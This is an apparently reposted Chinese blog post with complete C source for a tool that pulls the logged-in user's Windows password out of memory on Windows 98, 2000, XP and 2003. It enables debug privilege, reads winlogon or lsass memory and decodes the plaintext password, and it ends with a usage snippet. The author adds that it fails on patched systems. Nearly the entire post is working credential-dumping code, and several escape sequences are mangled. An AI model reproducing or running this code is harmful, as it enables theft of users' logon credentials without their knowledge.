编程读取windows98/2000/xp/2003的登录密码

来源:互联网 发布:夏贝贝云盘全套源码 编辑:程序博客网 时间:2024/06/10 15:04

在Windows的某些版本中,当前登录用户的密码可以在内存中找到,这个原理不是我发现的,我不过根据这个原理实现了下面的代码。

完整代码如下:

 

 /********************************************************************************

功能   : 获取Windows当前登录的密码,适用win98/2000/xp/2003, Win98中获得的
    是登录时输入的,不包含大小写,WinMe中按98的方法,但没有测试。
                在Win98/2000/XP/2003下测试成功。
                XP sp2 下不成功, 在内存中没有找到明文密码.

作者         : cczlp
版本         : 1.0
--------------------------------------------------------------------------------
修改记录 :
日 期        版本   修改人         修改内容
2005/12/05    1.0    cczlp           创建

*******************************************************************************/

//---------------------------------------------------------------------------
#include <windows.h>
#include <tlhelp32.h>
#include <Ntsecapi.h>

// 判断操作系统类型
enum TOSType {wt3X, wtNT3, wt95, wt98, wtME, wtNT4, wt2000, wtXP, wt2003, wtUnknown};

// 判断操作系统类型
TOSType GetOSType()
{
     OSVERSIONINFO  info;
     TOSType        Result = wtUnknown;

     info.dwOSVersionInfoSize = sizeof(info);

     GetVersionEx(&info);

     switch(info.dwPlatformId)
     {
     case VER_PLATFORM_WIN32s:
        Result = wt3X;
        break;
     case VER_PLATFORM_WIN32_WINDOWS:
        if ( info.dwMajorVersion == 4 )
        {
            if (info.dwMinorVersion == 0 )
                 Result = wt95;
            else if ( info.dwMinorVersion == 10 )
                 Result = wt98;
            else if ( info.dwMinorVersion == 90 )
                 Result = wtME;
        }
        break;
     case VER_PLATFORM_WIN32_NT:
        if ( info.dwMajorVersion == 3 ) // && info.dwMinorVersion == 51)
            Result = wtNT3;
        else if ( info.dwMajorVersion == 4 ) // && info.dwMinorVersion == 0)
            Result = wtNT4;
        else if ( info.dwMajorVersion == 5 )
        {
            if ( info.dwMinorVersion == 0 )
                 Result = wt2000;
            else if ( info.dwMinorVersion == 1 )
                 Result = wtXP;
            else if (info.dwMinorVersion == 2)
                Result = wt2003;
        }
        break;
     }
    
     return Result;
}

DWORD GetProcessPID(char *ProcessName)
{
    DWORD dwPid = 0;
    BOOL bOk;
 PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };

 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

 if (hSnapshot == INVALID_HANDLE_VALUE)
    {
  return 0;
    }

    for (bOk = Process32First(hSnapshot, &pe32); bOk; bOk = Process32Next(hSnapshot, &pe32))
    {
        if (strstr(strupr(pe32.szExeFile), strupr(ProcessName)))
        {
         dwPid = pe32.th32ProcessID;
            break;
        }
    }

 CloseHandle(hSnapshot);

 return dwPid;
}

BOOL EnablePrivilege(LPCTSTR lpszPrivilegeName, BOOL bEnable)
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
   
    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        return FALSE;
    }

    //修改进程权限
    LookupPrivilegeValue(NULL, lpszPrivilegeName, &tp.Privileges[0].Luid);
   
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = (bEnable) ? SE_PRIVILEGE_ENABLED : 0;
   
    //通知系统修改进程权限
    AdjustTokenPrivileges(hToken, FALSE, &tp, NULL, NULL, NULL);

    CloseHandle(hToken);

    return (GetLastError() == ERROR_SUCCESS);
}
/*
      重设了密码后没有重启或注销,查到的还是重设前的。
*/
BOOL FindPassword98(char *InBuf, DWORD InLen, char *OutBuf, DWORD OutLen)
{
    char  Password[MAX_PATH] = {0};
    BYTE    Sign[] = {0x10, 0, 0, 0xa0};
    DWORD dwPwdLen = 0;
    DWORD   dwFirstPwdLen = 0;
    int     iFind = 0;
    DWORD i;
    bool    bFind = false;

    if (InBuf == NULL || InLen < 2 || OutBuf == NULL || OutLen < 1)
    {
     return FALSE;
    }

    for (i = 0; i < InLen - 16; i++)
    {
        if (InBuf[i] == '/xa0')
        {
            if (memcmp(InBuf + i + 1,  "Microsoft",  9) == 0)
            {
                i = i >= 48 ? i - 48 : 0;
                bFind = true;
                break;
            }
        }
    }

    if (!bFind)
    {
        return FALSE;
    }

    bFind = false;

    while(i < InLen - 16)
    {
        if (memcmp(InBuf + i, Sign, sizeof(Sign)) == 0)
        {
            //在16位编辑器中显示为:
            //NPMP32
            //Microsoft
            if (InBuf[i + sizeof(Sign)] == 'M'
                && InBuf[i + sizeof(Sign) + 17] == 'i'
            )
            {
                i += 32;
            }
            else if (isprint(InBuf[i + sizeof(Sign)]))
            {
                i += sizeof(Sign);
                InLen =  i + 0x300 < InLen ? i + 0x300 : InLen;
                bFind = true;
            }
            else
            {
                i += sizeof(Sign);
            }
            continue;
        }

        if (bFind)
        {
            Password[dwPwdLen++] = InBuf[i];

            if (InBuf[i] == '/0' || dwPwdLen >= MAX_PATH - 1)
            {
                if (OutLen > dwFirstPwdLen)
                {
                    strcpy(OutBuf, strlwr(Password));
                }

                dwPwdLen = 0;
                bFind = false;

                //发现一串密码. 继续寻找,目前以最后一个为准
                iFind++;
            }
        }

        i++;
    }


    return iFind;
}
/*
    XP
*/
BOOL FindPasswordXP(char *InBuf, DWORD InLen, char *OutBuf, DWORD OutLen)
{
 char  Password[MAX_PATH] = {0};
    DWORD dwPwdLen = 0;

    if (InBuf == NULL || InLen < 2 || OutBuf == NULL || OutLen < 1)
    {
     return FALSE;
    }

    for (DWORD i = 0; i < InLen - 4; i += 2)
    {
        if ((i % 8 == 0 && dwPwdLen == 0 || dwPwdLen ) //密码开始地址是8倍数
           && InBuf[i + 1] == '/0'                     //Unicode字符
         && (isprint(InBuf[i]) || InBuf[i] == 0x20)  //字母,数字或空格
        )
        {
            Password[dwPwdLen++] = InBuf[i];

            //XP中, 密码以UNICODE 0x80结束
            if (InBuf[i + 2] == '/x80' && InBuf[i + 3] == '/0')
            {
             Password[dwPwdLen] = 0;
                break;
            }
        }
        else
        {
            dwPwdLen = 0;
        }
    }

    if (dwPwdLen > 0 && dwPwdLen < OutLen)
    {
     strcpy(OutBuf, Password);
        return TRUE;
    }

    return FALSE;
}

BOOL FindPassword2000(char *InBuf, DWORD InLen, char *OutBuf, DWORD OutLen)
{

typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)(BYTE, PUNICODE_STRING);
#define USER_DOMAIN_OFFSET_WIN2K 0x400
#define USER_PASSWORD_OFFSET_WIN2K 0x800

    static wchar_t UserName[0x400] = {0};
    static HINSTANCE hDll = NULL;
    static PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString = NULL;


    if (InBuf == NULL || InLen < 2 || OutBuf == NULL || OutLen < 1)
    {
     return FALSE;
    }

    if (UserName[0] == 0)
    {
        GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
    }

    if (hDll == NULL)
    {
        if ((hDll = GetModuleHandle("ntdll.dll")) == NULL)
        {
            if ((hDll = LoadLibrary("ntdll.dll")) == NULL)
            {
                return FALSE;
            };
        }
     if ((pfnRtlRunDecodeUnicodeString =
      (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress(hDll,
   "RtlRunDecodeUnicodeString")) == NULL)
        {
            return FALSE;
        }
    }

    if (wcscmp ((wchar_t *)InBuf, UserName) != 0)
    {
        return FALSE;
    }

 char  Password[MAX_PATH] = {0};
    DWORD dwPwdLen = 0;
    wchar_t *wsBuf = (wchar_t *)(InBuf + USER_PASSWORD_OFFSET_WIN2K);
    UNICODE_STRING EncodedString;

 EncodedString.Length = wcslen(wsBuf) * sizeof (wchar_t);
 EncodedString.MaximumLength = EncodedString.Length + sizeof (wchar_t);
    if (EncodedString.MaximumLength > MAX_PATH)
    {
        return FALSE;
    }

 EncodedString.Buffer = (wchar_t *)new char [EncodedString.MaximumLength];

    int j = 0;
    PBYTE p = (PBYTE)EncodedString.Buffer;

    for (BYTE i = 0; i < 0xFF; i++)
    {
        CopyMemory(EncodedString.Buffer, wsBuf, EncodedString.Length);

  //Try to decode the password.
  pfnRtlRunDecodeUnicodeString(i, &EncodedString);

        for (j = 0; j < EncodedString.Length - 1; j += 2)
        {
           if (!(p[j + 1] == '/0'                     //Unicode字符
             && (isprint(p[j]) || p[j] == 0x20))  //字母,数字或空格
            )
            {
                break;
            }
            Password[dwPwdLen++] = p[j];
        }

        if (j ==  EncodedString.Length - 1)
        {
            break;
        }
    }

    BOOL bOk = FALSE;
    if (Password[0] && dwPwdLen < OutLen)
    {
     strcpy(OutBuf, Password);
        bOk = TRUE;
    }

    delete []EncodedString.Buffer;

    return bOk;
}

BOOL GetUserPassword(char *pBuf, int Length)
{
    BOOL  bFind = FALSE;
    DWORD dwSearchStart;
    DWORD dwSearchLen;
    DWORD dwPerSearch = 4 * 1024; // Must be 4096 in Win2K
    HANDLE  hProcess;
    DWORD   dwPid = 0;
    TOSType SysType = GetOSType();

    switch (SysType)
    {
    case wt98:
    case wtME:
        dwPid = GetProcessPID("KERNEL32.DLL");
        dwSearchStart = 0x83280000;   //0x8328b000
        dwSearchLen = 0x83a00000 - dwSearchStart;
    break;
    case wt2000:
        dwPid = GetProcessPID("winlogon.exe");
        dwSearchStart = 0x00800000;
        dwSearchLen = 0x00900000 - dwSearchStart;
    break;
    case wtXP:
        dwPid = GetProcessPID("lsass.exe");
        dwSearchStart = 0x002b0000;
        dwSearchLen = 64 * 1024;
    break;
    case wt2003:
        dwPid = GetProcessPID("lsass.exe");
        dwSearchStart = 0x002b0000;
        dwSearchLen = 64 * 1024;
    break;
    default:
    break;
    }

    if (dwPid == 0)
    {
        return FALSE;
    }

    EnablePrivilege(SE_DEBUG_NAME, true);

    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
   FALSE,
   dwPid);
    if (hProcess == 0)
    {
     return 1;
    }

    DWORD dwBytesRead = 0;

    char * Buff = new char[dwPerSearch];

    for (DWORD i = 0; i < dwSearchLen / dwPerSearch; i++)
    {

        if (ReadProcessMemory(hProcess,
                (PVOID)(dwSearchStart + i * dwPerSearch),
                Buff,
                dwPerSearch,
                &dwBytesRead))
        {
            if (SysType <= wtME
             && (bFind = FindPassword98(Buff, dwBytesRead, pBuf, Length)) == TRUE)
            {
                break;
            }
            else if (SysType == wt2000
             && (bFind = FindPassword2000(Buff, dwBytesRead, pBuf, Length)) == TRUE)
            {
                break;
            }
            else if (SysType == wtXP
             && (bFind = FindPasswordXP(Buff, dwBytesRead, pBuf, Length)) == TRUE)
            {
                break;
            }
            else if (SysType == wt2003
             && (bFind = FindPasswordXP(Buff, dwBytesRead, pBuf, Length)) == TRUE)
            {
                break;
            }
        }
    }

    memset(Buff, 0, dwBytesRead);

    delete []Buff;

    CloseHandle(hProcess);
    
    return bFind;
}

 

 用法:

    char password[256] = {0};

    if (GetUserPassword(password, 256))
    {

        :: MessageBox(NULL, password, "find",  MB_OK );
   }

几年前写的,在打了最新补丁的NT系统上不适用,这也是公布代码的原因,不希望写木马病毒的菜鸟去做坏事。

 

原创粉丝点击